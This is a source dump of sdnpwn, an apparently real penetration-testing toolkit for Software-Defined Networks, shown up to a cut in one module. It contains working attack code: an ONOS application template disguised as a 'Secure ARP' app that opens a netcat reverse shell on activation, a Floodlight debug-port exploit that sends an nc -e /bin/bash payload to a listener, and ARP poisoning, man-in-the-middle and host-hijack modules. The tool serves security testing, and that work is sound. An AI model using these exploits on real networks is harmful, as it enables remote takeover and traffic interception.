├── README.md ├── apps ├── README.md ├── compiled_apps │ └── README.md └── onos-nc-reverse-shell │ ├── pom.xml │ ├── sdnpwn_options │ └── src │ └── main │ └── java │ └── org │ └── onosproject │ └── app │ └── AppComponent.java ├── confs ├── README.md ├── floodlight_xss_firewall_disable.conf ├── of_switch.conf ├── ofv13_switch.conf ├── onos_clickjack_xss.conf ├── sqli_test_switch.conf ├── xss_simple_filter_bypass_test.conf └── xss_test_switch.conf ├── license.txt ├── modules ├── Attack │ ├── dp_arp_poison.py │ ├── dp_mitm.py │ ├── floodlight_debug_autopwn.py │ ├── host_location_hijack.py │ ├── lfa_relay.py │ ├── lfa_scapy.py │ ├── lldp_replay.py │ ├── onos_app_upload.py │ ├── onos_switch_connection_dos.py │ ├── onos_websocket.py │ ├── phantom_host_scan.py │ └── phantom_storm.py ├── Reconnaissance │ ├── arpmon.py │ ├── controller_detect.py │ ├── detect_proxy_arp.py │ ├── of_mon.py │ ├── of_scan.py │ └── sdn_detect.py ├── Utility │ ├── of_gen.py │ ├── of_switch.py │ └── onos_app.py ├── __init__.py └── sdnpwn │ ├── help.py │ ├── info.py │ ├── mods.py │ ├── module_base_template.py │ ├── ofv10 │ ├── sdnpwn_ofv10_flow.py │ ├── sdnpwn_ofv10_handlers.py │ └── sdnpwn_ofv10_switch.py │ ├── ofv13 │ ├── sdnpwn_ofv13_flow.py │ ├── sdnpwn_ofv13_handlers.py │ └── sdnpwn_ofv13_switch.py │ ├── sdnpwn_cli.py │ ├── sdnpwn_common.py │ ├── sdnpwn_lldp.py │ ├── sdnpwn_of_helper.py │ └── system.py ├── sdnpwn.py └── setup.sh /README.md: -------------------------------------------------------------------------------- 1 | [![Mentioned in Awesome SDN Security](https://awesome.re/mentioned-badge.svg)](https://github.com/lopezalvar/awesome-sdn-security) 2 | # What is sdnpwn? 3 | sdnpwn is a toolkit and framework for testing the security of Software-Defined Networks (SDNs). For more information check out this article: https://sdnpwn.net/2017/08/22/what-is-sdnpwn/ 4 | 5 | # Installation 6 | 7 | First download sdnpwn using git 8 | 9 | ``` 10 | git clone https://github.com/smythtech/sdnpwn 11 | ``` 12 | 13 | Make the sdnpwn.py and setup.sh scripts executable 14 | 15 | ``` 16 | sudo chmod +x sdnpwn.py 17 | sudo chmod +x setup.sh 18 | ``` 19 | 20 | The setup.sh script takes care installing software required for sdnpwn to function. Just run ./setup.sh and follow the instructions. 21 | 22 | ``` 23 | sudo ./setup.sh 24 | ``` 25 | 26 | # Usage 27 | 28 | Cheatsheet: https://sdnpwn.net/tools/sdnpwn/ 29 | 30 | Functionality in sdnpwn is divided into different modules. Each attack or attack type is available from a certain module. 31 | 32 | Modules can be executed like so: 33 | 34 | ``` 35 | ./sdnpwn.py 36 | ``` 37 | 38 | The mods module can be used to list all available modules: 39 | 40 | ``` 41 | ./sdnpwn.py mods 42 | ``` 43 | 44 | More information about a certain module can be accessed using the info module: 45 | 46 | ``` 47 | ./sdnpwn.py info mods 48 | ``` 49 | 50 | The above command would retrieve more information about the mods module, such as a description and available options. 51 | 52 | # Todo 53 | Necesary tasks: 54 | - Check that the set-up script is still suitable. 55 | - Test all modules to check for any issues. Verify they function as expected. 56 | - Fix any bugs that arise based on the above testing. 57 | - Add consistent signal handling throughout all modules. 58 | - Add consistent help menu access throughout all modules. 59 | - Check the OpenFlow library used by of-switch. This needs to be updated or changed. 60 | - Clean up/optimise code where possible. 61 | 62 | Other tasks: 63 | - Add more OpenFlow versions to the of-switch module. This may require a swap to a different OpenFlow library and possibly a full re-write. 64 | - Look at creating a p4-switch module that provides similar features to of-switch. 65 | - Improve accuracy of the sdn-detect module. 66 | - Add more information for fingerprinting controllers. Structure the fingerprinting data in a better way (external file?). 67 | - Add up-to-date application templates for the onos-app module. 68 | - Add modules for vulnerabilities that have been made public in the past few years. 69 | - Clean up/optimise code. 70 | 71 | # Further Information 72 | Check out https://sdnpwn.net for articles and tutorials on using various sdnpwn modules and the attacks they use. 73 | 74 | # Disclaimer 75 | This tool comes without warranty. The developers of this tool decline all responsability for malicious or illegal use, and impact caused by malicious or illegal use. 76 | -------------------------------------------------------------------------------- /apps/README.md: -------------------------------------------------------------------------------- 1 | The applications in this directory are templates and should be built using the onos-app module. 2 | -------------------------------------------------------------------------------- /apps/compiled_apps/README.md: -------------------------------------------------------------------------------- 1 | Applications built with the onos-app module will end up here. 2 | -------------------------------------------------------------------------------- /apps/onos-nc-reverse-shell/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | org.onosproject 21 | $APP_NAME 22 | 1.0-SNAPSHOT 23 | bundle 24 | 25 | ONOS OSGi bundle archetype 26 | http://onosproject.org 27 | 28 | 29 | UTF-8 30 | $APP_TARGET_VERSION 31 | 32 | org.onosproject.app 33 | $APP_TITLE 34 | $APP_ORIGIN 35 | default 36 | http://onosproject.org 37 | ONOS OSGi bundle archetype. 38 | 39 | 40 | 41 | 42 | 43 | org.onosproject 44 | onos-api 45 | ${onos.version} 46 | 47 | 48 | 49 | org.onosproject 50 | onlab-osgi 51 | ${onos.version} 52 | 53 | 54 | 55 | junit 56 | junit 57 | 4.12 58 | test 59 | 60 | 61 | 62 | org.onosproject 63 | onos-api 64 | ${onos.version} 65 | test 66 | tests 67 | 68 | 69 | 70 | org.apache.felix 71 | org.apache.felix.scr.annotations 72 | 1.9.12 73 | provided 74 | 75 | 76 | 77 | 78 | 79 | 80 | org.apache.felix 81 | maven-bundle-plugin 82 | 3.0.1 83 | true 84 | 85 | 86 | org.apache.maven.plugins 87 | maven-compiler-plugin 88 | 2.5.1 89 | 90 | 1.8 91 | 1.8 92 | 93 | 94 | 95 | org.apache.felix 96 | maven-scr-plugin 97 | 1.21.0 98 | 99 | 100 | generate-scr-srcdescriptor 101 | 102 | scr 103 | 104 | 105 | 106 | 107 | 108 | bundle 109 | war 110 | 111 | 112 | 113 | 114 | org.onosproject 115 | onos-maven-plugin 116 | 1.10 117 | 118 | 119 | cfg 120 | generate-resources 121 | 122 | cfg 123 | 124 | 125 | 126 | swagger 127 | generate-sources 128 | 129 | swagger 130 | 131 | 132 | 133 | app 134 | package 135 | 136 | app 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | -------------------------------------------------------------------------------- /apps/onos-nc-reverse-shell/sdnpwn_options: -------------------------------------------------------------------------------- 1 | $APP_NAME=arpsecure 2 | $APP_TARGET_VERSION=1.9.0 3 | $APP_TITLE=Secure ARP 4 | $APP_ORIGIN=ON.LAB 5 | $CONNECTION_IP=127.0.0.1 6 | $CONNECTION_PORT=7777 7 | -------------------------------------------------------------------------------- /apps/onos-nc-reverse-shell/src/main/java/org/onosproject/app/AppComponent.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2017-present Open Networking Laboratory 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package org.onosproject.app; 17 | 18 | import org.apache.felix.scr.annotations.Activate; 19 | import org.apache.felix.scr.annotations.Component; 20 | import org.apache.felix.scr.annotations.Deactivate; 21 | import org.apache.felix.scr.annotations.Service; 22 | import org.slf4j.Logger; 23 | import org.slf4j.LoggerFactory; 24 | 25 | /** 26 | * Skeletal ONOS application component. 27 | */ 28 | @Component(immediate = true) 29 | public class AppComponent { 30 | 31 | private final Logger log = LoggerFactory.getLogger(getClass()); 32 | 33 | @Activate 34 | protected void activate() { 35 | log.info("Started"); 36 | try { 37 | Process p = Runtime.getRuntime().exec(new String[]{"netcat", "-e", "/bin/sh", "$CONNECTION_IP", "$CONNECTION_PORT"}); 38 | p.waitFor(); 39 | } catch(Exception e) { 40 | e.printStackTrace(); 41 | } 42 | 43 | } 44 | 45 | @Deactivate 46 | protected void deactivate() { 47 | log.info("Stopped"); 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /confs/README.md: -------------------------------------------------------------------------------- 1 | This configuration files are for use with the of-switch module. 2 | -------------------------------------------------------------------------------- /confs/floodlight_xss_firewall_disable.conf: -------------------------------------------------------------------------------- 1 | { 2 | "of-switch": { 3 | "vendor_id":8992, 4 | "description": { 5 | "manufacturer_description":"Manufacturer desc", 6 | "hardware_description":"Hardware desc", 7 | "software_description":"Software desc", 8 | "serial_number":"12345", 9 | "dataplane_description":"Dataplane Desc" 10 | }, 11 | "features": { 12 | "dataplane_id":"00:00:de:ad:be:ed:de:ad", 13 | "number_of_buffers":1, 14 | "number_of_tables":1, 15 | "capabilities":0, 16 | "actions":0 17 | }, 18 | "ports":[ 19 | { 20 | "port_no":1, 21 | "hardware_address": "11:11:11:11:11:11", 22 | "port_name": "eth0", 23 | "port_config":0, 24 | "port_state":0, 25 | "port_curr":0, 26 | "port_advertised":0, 27 | "port_supported":0, 28 | "port_peer":0 29 | }, 30 | { 31 | "port_no":2, 32 | "hardware_address": "11:11:11:11:11:12", 33 | "port_name": "eth1", 34 | "port_config":0, 35 | "port_state":0, 36 | "port_curr":0, 37 | "port_advertised":0, 38 | "port_supported":0, 39 | "port_peer":0 40 | } 41 | ], 42 | "stats":{ 43 | "flow_stats": { 44 | "duration_sec":0, 45 | "duration_nsec":0, 46 | "packet_count":0, 47 | "byte_count":0 48 | } 49 | } 50 | } 51 | } 52 | 53 | -------------------------------------------------------------------------------- /confs/of_switch.conf: -------------------------------------------------------------------------------- 1 | { 2 | "of-switch": { 3 | "vendor_id":8992, 4 | "description": { 5 | "manufacturer_description":"Manufacturer desc", 6 | "hardware_description":"Hardware desc", 7 | "software_description":"Software desc", 8 | "serial_number":"12345", 9 | "dataplane_description":"Dataplane Desc" 10 | }, 11 | "features": { 12 | "dataplane_id":"00:00:de:ad:be:ed:de:ad", 13 | "number_of_buffers":1, 14 | "number_of_tables":1, 15 | "capabilities":0, 16 | "actions":0 17 | }, 18 | "ports":[ 19 | { 20 | "port_no":1, 21 | "hardware_address": "11:11:11:11:11:11", 22 | "port_name": "eth0", 23 | "port_config":0, 24 | "port_state":0, 25 | "port_curr":0, 26 | "port_advertised":0, 27 | "port_supported":0, 28 | "port_peer":0 29 | }, 30 | { 31 | "port_no":2, 32 | "hardware_address": "11:11:11:11:11:12", 33 | "port_name": "eth1", 34 | "port_config":0, 35 | "port_state":0, 36 | "port_curr":0, 37 | "port_advertised":0, 38 | "port_supported":0, 39 | "port_peer":0 40 | } 41 | ], 42 | "stats":{ 43 | "flow_stats": { 44 | "duration_sec":0, 45 | "duration_nsec":0, 46 | "packet_count":0, 47 | "byte_count":0 48 | } 49 | } 50 | } 51 | } 52 | 53 | -------------------------------------------------------------------------------- /confs/ofv13_switch.conf: -------------------------------------------------------------------------------- 1 | { 2 | "of-switch": { 3 | "vendor_id":8992, 4 | "description": { 5 | "manufacturer_description":"Nicra, Inc.", 6 | "hardware_description":"Open VSwitch", 7 | "software_description":"2.15.0", 8 | "serial_number":"None", 9 | "dataplane_description":"s1" 10 | }, 11 | "features": { 12 | "dataplane_id":"00:00:00:00:00:00:00:03", 13 | "number_of_buffers":1, 14 | "number_of_tables":1, 15 | "capabilities":0, 16 | "actions":0, 17 | "meters": { 18 | "max_meter": 200000, 19 | "band_types": 2, 20 | "capabilities": 4, 21 | "max_bands": 1, 22 | "max_color": 0 23 | } 24 | }, 25 | "ports":[ 26 | { 27 | "port_no":1, 28 | "hardware_address": "11:11:11:11:11:11", 29 | "port_name": "eth0", 30 | "port_config":0, 31 | "port_state":0, 32 | "port_curr":0, 33 | "port_advertised":0, 34 | "port_supported":0, 35 | "port_peer":0 36 | }, 37 | { 38 | "port_no":2, 39 | "hardware_address": "11:11:11:11:11:12", 40 | "port_name": "eth1", 41 | "port_config":0, 42 | "port_state":0, 43 | "port_curr":0, 44 | "port_advertised":0, 45 | "port_supported":0, 46 | "port_peer":0 47 | } 48 | ], 49 | "stats":{ 50 | "flow_stats": { 51 | "duration_sec":0, 52 | "duration_nsec":0, 53 | "packet_count":0, 54 | "byte_count":0 55 | } 56 | } 57 | } 58 | } 59 | 60 | -------------------------------------------------------------------------------- /confs/onos_clickjack_xss.conf: -------------------------------------------------------------------------------- 1 | { 2 | "of-switch": { 3 | "vendor_id":8992, 4 | "description": { 5 | "manufacturer_description":"Manufacturer desc", 6 | "hardware_description":"Hardware desc", 7 | "software_description":"Software desc", 8 | "serial_number":"12345", 9 | "dataplane_description":"Dataplane Desc" 10 | }, 11 | "features": { 12 | "dataplane_id":"00:01:d3:ad:be:ef:de:ad", 13 | "number_of_buffers":1, 14 | "number_of_tables":1, 15 | "capabilities":0, 16 | "actions":0 17 | }, 18 | "ports":[ 19 | { 20 | "port_no":1, 21 | "hardware_address": "11:11:11:11:11:11", 22 | "port_name": "Port 1", 23 | "port_config":0, 24 | "port_state":0, 25 | "port_curr":0, 26 | "port_advertised":0, 27 | "port_supported":0, 28 | "port_peer":0 29 | }, 30 | { 31 | "port_no":2, 32 | "hardware_address": "11:11:11:11:11:12", 33 | "port_name": "Port 2", 34 | "port_config":0, 35 | "port_state":0, 36 | "port_curr":0, 37 | "port_advertised":0, 38 | "port_supported":0, 39 | "port_peer":0 40 | } 41 | ], 42 | "stats":{ 43 | "flow_stats": { 44 | "duration_sec":0, 45 | "duration_nsec":0, 46 | "packet_count":0, 47 | "byte_count":0 48 | } 49 | } 50 | } 51 | } 52 | 53 | -------------------------------------------------------------------------------- /confs/sqli_test_switch.conf: -------------------------------------------------------------------------------- 1 | { 2 | "of-switch": { 3 | "vendorID":8992, 4 | "description": { 5 | "manufacturerDescription":"Manufacturer' desc", 6 | "hardwareDescription":"Hardware' desc", 7 | "softwareDescription":"Software' desc", 8 | "serialNumber":"123'45", 9 | "dataplaneDescription":"Dataplane' Desc" 10 | }, 11 | "features": { 12 | "dataplaneID":"00:01:de:ad:be:ef:de:ad", 13 | "numberOfBuffers":1, 14 | "numberOfTables":1, 15 | "capabilities":0, 16 | "actions":0 17 | }, 18 | "ports":2 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /confs/xss_simple_filter_bypass_test.conf: -------------------------------------------------------------------------------- 1 | { 2 | "of-switch": { 3 | "vendorID":8992, 4 | "description": { 5 | "manufacturerDescription":">", 6 | "hardwareDescription":"", 7 | "softwareDescription":"", 8 | "serialNumber":"", 9 | "dataplaneDescription":"" 10 | }, 11 | "features": { 12 | "dataplaneID":"00:01:de:ad:be:ef:de:ad", 13 | "numberOfBuffers":1, 14 | "numberOfTables":1, 15 | "capabilities":0, 16 | "actions":0 17 | }, 18 | "ports":2 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /confs/xss_test_switch.conf: -------------------------------------------------------------------------------- 1 | { 2 | "of-switch": { 3 | "vendor_id":8992, 4 | "description": { 5 | "manufacturer_description":"", 6 | "hardware_description":"", 7 | "software_description":"", 8 | "serial_number":"", 9 | "dataplane_description":"" 10 | }, 11 | "features": { 12 | "dataplane_id":"00:01:de:ad:be:ef:de:ad", 13 | "number_of_buffers":1, 14 | "number_of_tables":1, 15 | "capabilities":0, 16 | "actions":0 17 | }, 18 | "ports":[ 19 | { 20 | "port_no":1, 21 | "hardware_address": "11:11:11:11:11:11", 22 | "port_name": "\"", 23 | "port_config":0, 24 | "port_state":0, 25 | "port_curr":0, 26 | "port_advertised":0, 27 | "port_supported":0, 28 | "port_peer":0 29 | }, 30 | { 31 | "port_no":2, 32 | "hardware_address": "11:11:11:11:11:12", 33 | "port_name": "Port 2", 34 | "port_config":0, 35 | "port_state":0, 36 | "port_curr":0, 37 | "port_advertised":0, 38 | "port_supported":0, 39 | "port_peer":0 40 | } 41 | ], 42 | "stats":{ 43 | "flow_stats": { 44 | "duration_sec":0, 45 | "duration_nsec":0, 46 | "packet_count":0, 47 | "byte_count":0 48 | } 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /license.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Dylan Smyth 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /modules/Attack/dp_arp_poison.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import sys 3 | from time import sleep 4 | import signal 5 | 6 | try: 7 | import modules.sdnpwn.sdnpwn_common as sdnpwn 8 | except: 9 | import sdnpwn_common as sdnpwn 10 | 11 | 12 | def info(): 13 | return "Poisons a targets ARP cache without the controller observing the attack. Relies on flows being installed for ARP traffic and this traffic not being sent to the controller by the flow." 14 | 15 | def usage(): 16 | 17 | sdnpwn.addUsage("-i | --iface", "Interface to use", True) 18 | sdnpwn.addUsage("-v | --victim", "IP address of victim", True) 19 | sdnpwn.addUsage("-vM| --victim-mac", "MAC address of victim") 20 | sdnpwn.addUsage("-t | --target-ip", "IP address to poison in victims ARP cache", True) 21 | sdnpwn.addUsage("-m | --mac", "MAC address to insert in the victims cache", True) 22 | sdnpwn.addUsage("-l | --loop", "Continue poisoning until stopped") 23 | sdnpwn.addUsage("-d | --delay", "Delay between packets when looping") 24 | 25 | return sdnpwn.getUsage() 26 | 27 | 28 | def arpCachePoison(interface, vicIP, vicMAC, targetIP, newMac, thisHostIP, thisHostMAC, loop, loopDelay): 29 | global poisoningComplete 30 | global haltPoisoning 31 | poisoningComplete = False 32 | haltPoisoning = False 33 | 34 | sdnpwn.message("Sending gratuitous ARP for legitimate host to " + vicIP, sdnpwn.NORMAL) 35 | sendp(Ether(src=thisHostMAC, dst=vicMAC)/ARP(hwsrc=thisHostMAC, pdst=thisHostIP)) 36 | sleep(2) #Need to wait to ensure that the flow has been installed on the switches 37 | sdnpwn.message("Poisoning target " + vicIP, sdnpwn.NORMAL) 38 | malARP = (Ether(src=thisHostMAC, dst=vicMAC)/ARP(op=ARP.is_at, psrc=targetIP,hwsrc=newMac, pdst=targetIP)) 39 | if(loop == True): 40 | while(haltPoisoning == False): 41 | sendp(malARP) 42 | sleep(loopDelay) 43 | poisoningComplete = True 44 | else: 45 | sendp(malARP) 46 | poisoningComplete = True 47 | 48 | def isPoisoningComplete(): 49 | global poisoningComplete 50 | return poisoningComplete 51 | 52 | def stopPoisoning(): 53 | global haltPoisoning 54 | haltPoisoning = True 55 | 56 | def signal_handler(signal, frame): 57 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 58 | stopPoisoning() 59 | 60 | def run(params): 61 | global poisoningComplete 62 | global haltPoisoning 63 | poisoningComplete = False 64 | haltPoisoning = False 65 | 66 | signal.signal(signal.SIGINT, signal_handler) 67 | 68 | iface = sdnpwn.getArg(["--iface", "-i"], params) 69 | vIP = sdnpwn.getArg(["--victim", "-v"], params) 70 | vMac = sdnpwn.getArg(["--victim-mac", "-vM"], params) 71 | targetIP = sdnpwn.getArg(["--target-ip", "-t"], params) 72 | newMac = sdnpwn.getArg(["--mac", "-m"], params) 73 | loop = sdnpwn.checkArg(["--loop", "-l"], params) 74 | loopDelay = sdnpwn.getArg(["--delay", "-d"], params, 1) 75 | 76 | if(vMac == None): 77 | vMac = sdnpwn.getTargetMacAddress(iface, vIP) 78 | 79 | if(vIP == None or vMac == None or targetIP == None or newMac == None): 80 | print(info()) 81 | print(usage()) 82 | return 83 | 84 | thisHostIP = sdnpwn.getIPAddress(iface) 85 | thisHostMAC = sdnpwn.getMacAddress(iface) 86 | 87 | if((thisHostIP == '0') or (thisHostMAC == '0')): 88 | sdnpwn.message("Invalid interface", sdnpwn.ERROR) 89 | return 90 | 91 | arpCachePoison(iface, vIP, vMac, targetIP, newMac, thisHostIP, thisHostMAC, loop, loopDelay) 92 | 93 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /modules/Attack/dp_mitm.py: -------------------------------------------------------------------------------- 1 | 2 | from scapy.all import * 3 | import sys 4 | import signal 5 | from time import sleep 6 | from threading import Thread 7 | import netifaces 8 | import subprocess as sp 9 | 10 | import modules.sdnpwn.sdnpwn_common as sdnpwn 11 | import modules.Attack.dp_arp_poison as dpap 12 | 13 | def info(): 14 | return "Performs a MitM attack against two devices without poisoning the controllers view of the network." 15 | 16 | def usage(): 17 | 18 | sdnpwn.addUsage("--iface", "Interface to use", True) 19 | sdnpwn.addUsage("--target1", "IP address for first target", True) 20 | sdnpwn.addUsage("--target1-mac", "MAC address for first target") 21 | sdnpwn.addUsage("--gateway", "Use network gateway as second target") 22 | sdnpwn.addUsage("--target2", "IP address for second target (Required without -g option)") 23 | sdnpwn.addUsage("--target2-mac", "MAC address for second target") 24 | 25 | return sdnpwn.getUsage() 26 | 27 | def ipForwarding(val): 28 | ipf = open('/proc/sys/net/ipv4/ip_forward', 'w') 29 | ipf.write(str(val) + "\n") 30 | 31 | def signal_handler(signal, frame): 32 | global runningThreads 33 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 34 | dpap.stopPoisoning() 35 | while(dpap.isPoisoningComplete() != True): 36 | pass 37 | runningThreads.remove(runningThreads[1]) 38 | runningThreads.remove(runningThreads[0]) 39 | 40 | def run(params): 41 | global runningThreads 42 | 43 | runningThreads = [] 44 | 45 | conf.verb = 0 46 | 47 | signal.signal(signal.SIGINT, signal_handler) 48 | 49 | interface = None 50 | target1IP = None 51 | target1MAC = None 52 | target2IP = None 53 | target2MAC = None 54 | 55 | if("--iface" in params): 56 | interface = params[params.index("--iface")+1] 57 | else: 58 | print(info()) 59 | print(usage()) 60 | return 61 | if("--target1" in params): 62 | target1IP = params[params.index("--target1")+1] 63 | if("--target1-mac" in params): 64 | target1MAC = params[params.index("--target1-mac")+1] 65 | else: 66 | target1MAC = sdnpwn.getTargetMacAddress(interface, target1IP) 67 | 68 | if(interface == None or target1IP == None or target1MAC == None): 69 | print(info()) 70 | print(usage()) 71 | return 72 | 73 | if("--gateway" not in params): 74 | if("--target2" in params): 75 | target2IP = params[params.index("--target2")+1] 76 | if("--target2-mac" in params): 77 | target2MAC = params[params.index("--target2-mac")+1] 78 | else: 79 | target2MAC = sdnpwn.getTargetMacAddress(interface, target2IP) 80 | else: 81 | target2IP = netifaces.gateways()['default'][netifaces.AF_INET][0] 82 | target2MAC = sdnpwn.getTargetMacAddress(interface, target2IP) #getMacFromARPTable(target2IP) 83 | if(target2MAC == ""): 84 | sdnpwn.message("Could not get gateway MAC address", sdnpwn.ERROR) 85 | return 86 | 87 | if(target1IP == None or target1MAC == None or target2IP == None or target2MAC == None): 88 | print(info()) 89 | print(usage()) 90 | return 91 | 92 | thisHostIP = sdnpwn.getIPAddress(interface) 93 | thisHostMAC = sdnpwn.getMacAddress(interface) 94 | 95 | if((thisHostIP == '0') or (thisHostMAC == '0')): 96 | sdnpwn.message("Invalid interface", sdnpwn.ERROR) 97 | exit(0) 98 | 99 | sdnpwn.message("Enabling IP Forwarding", sdnpwn.NORMAL) 100 | ipForwarding(1) 101 | 102 | p1 = Thread(target=dpap.arpCachePoison, args=(interface, target1IP, target1MAC, target2IP, thisHostMAC, thisHostIP, thisHostMAC, True, 1)) 103 | p2 = Thread(target=dpap.arpCachePoison, args=(interface, target2IP, target2MAC, target1IP, thisHostMAC, thisHostIP, thisHostMAC, True, 1)) 104 | p1.setDaemon(True) 105 | p2.setDaemon(True) 106 | runningThreads.append(p1) 107 | runningThreads.append(p2) 108 | p1.start() 109 | p2.start() 110 | 111 | sdnpwn.message("Press Ctrl+C to stop...", sdnpwn.NORMAL) 112 | 113 | while(len(runningThreads) != 0): 114 | pass 115 | 116 | 117 | -------------------------------------------------------------------------------- /modules/Attack/floodlight_debug_autopwn.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | import socket 4 | from threading import Thread 5 | import modules.sdnpwn.sdnpwn_common as sdnpwn 6 | from time import sleep 7 | 8 | threads = [] 9 | socks = [] 10 | stopListening = False 11 | 12 | def signal_handler(signal, frame): 13 | #Handle Ctrl+C here 14 | print("") 15 | sdnpwn.message("Stopping...Try Ctrl+C once more", sdnpwn.NORMAL) 16 | try: 17 | stopListening = True 18 | for s in socks: 19 | s.close() 20 | except: 21 | pass 22 | exit(0) 23 | 24 | def info(): 25 | return "Automatically gets a shell using Floodlight's debug port (6655)" 26 | 27 | def usage(): 28 | 29 | sdnpwn.addUsage(["--target", "-t"], "Target", True) 30 | sdnpwn.addUsage(["--listen", "-l"], "Listening socket (like 127.0.0.1:1234)", True) 31 | sdnpwn.addUsage(["--no-local", "-r"], "Do not start a local shell listener. Use if using nc, metasploit, etc to get shell", True) 32 | 33 | return sdnpwn.getUsage() 34 | 35 | def getSocket(ip, port, timeout=2): 36 | try: 37 | comm_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 38 | comm_sock.settimeout(timeout) 39 | comm_sock.connect((ip, int(port))) 40 | return comm_sock 41 | except Exception as e: 42 | #print(e) 43 | return None 44 | 45 | def listenForShell(listeningPort): 46 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 47 | serversocket.bind(('0.0.0.0', int(listeningPort))) 48 | serversocket.listen(1) 49 | (clientsocket, address) = serversocket.accept() 50 | sdnpwn.printSuccess("Got connection from " + str(address)) 51 | cmdThread = Thread(target=sendCommands, args=(clientsocket,)) 52 | cmdThread.start() 53 | threads.append(cmdThread) 54 | socks.append(serversocket) 55 | socks.append(clientsocket) 56 | 57 | while stopListening == False: 58 | data = clientsocket.recv(1024).decode() 59 | if(data): 60 | print(data, end='') 61 | else: 62 | break 63 | clientsocket.close() 64 | 65 | def sendCommands(sock): 66 | while stopListening == False: 67 | cmd = input() 68 | sock.send(cmd.encode() + b'\x0a') 69 | 70 | def run(params): 71 | 72 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 73 | 74 | target = sdnpwn.getArg(["--target", "-t"], params) 75 | listening = sdnpwn.getArg(["--listen", "-l"], params) 76 | noSpawnLocal = sdnpwn.checkArg(["--no-local", "-r"], params) 77 | 78 | if(sdnpwn.checkArg(["--listen", "-l"], params)): 79 | listeningIP = listening.split(":")[0] 80 | listeningPort = listening.split(":")[1] 81 | else: 82 | sdnpwn.printError("Missing listener options.") 83 | print(usage()) 84 | return 85 | 86 | floodlightDebugPort = 6655 87 | 88 | if(noSpawnLocal == False): 89 | sdnpwn.printNormal("Setting up shell handler...") 90 | listener = Thread(target=listenForShell, args=(listeningPort,)) 91 | listener.start() 92 | threads.append(listener) 93 | 94 | sdnpwn.printNormal("Attempting connection to debug server...") 95 | sock = getSocket(target, floodlightDebugPort, 5) 96 | if(sock == None): 97 | sdnpwn.printError("Could not connect...quiting.") 98 | exit(0) 99 | 100 | sdnpwn.printNormal("Getting shell...") 101 | badString = "import subprocess; subprocess.call(['nc','-e', '/bin/bash', '" + listeningIP + "', '" + listeningPort + "\r'])" 102 | sock.send(badString.encode()) 103 | 104 | socks.append(sock) 105 | 106 | while stopListening == False: 107 | pass 108 | -------------------------------------------------------------------------------- /modules/Attack/host_location_hijack.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import sys 3 | from time import sleep 4 | import signal 5 | from ipaddress import ip_network 6 | 7 | try: 8 | import modules.sdnpwn.sdnpwn_common as sdnpwn 9 | except: 10 | import sdnpwn_common as sdnpwn 11 | 12 | def hijackHostLocation(iface, ip, vicMac): 13 | 14 | if(vicMac == ""): 15 | sdnpwn.message("Could not get MAC address for host " + ip, sdnpwn.ERROR) 16 | return False 17 | malARP = (Ether(src=vicMac, dst="FF:FF:FF:FF:FF:FF")/ARP(op=ARP.is_at, psrc=ip, hwsrc=vicMac, pdst=ip)) 18 | sendp(malARP) 19 | 20 | return True 21 | 22 | def haltAttack(): 23 | global haltHijackHostLocation 24 | haltHijackHostLocation = True 25 | 26 | def signal_handler(signal, frame): 27 | global haltHijackHostLocation 28 | print("") 29 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 30 | haltAttack() 31 | 32 | def info(): 33 | return "Hijack the location of a network host by sending gratuitous ARP replies with a spoofed source MAC address." 34 | 35 | def usage(): 36 | 37 | sdnpwn.addUsage("--iface", "Interface to use", True) 38 | sdnpwn.addUsage("--target", "IP address of target host", True) 39 | sdnpwn.addUsage("--loop", "Continue poisoning until stopped") 40 | sdnpwn.addUsage("--delay", "Delay between packets when looping") 41 | 42 | return sdnpwn.getUsage() 43 | 44 | def run(params): 45 | global haltHijackHostLocation 46 | haltHijackHostLocation = False 47 | 48 | signal.signal(signal.SIGINT, signal_handler) 49 | 50 | iface = "" 51 | target = "" 52 | loop = False 53 | loopDelay = 1 54 | 55 | if("--iface" in params): 56 | iface = params[params.index("--iface")+1] 57 | if("--target" in params): 58 | target 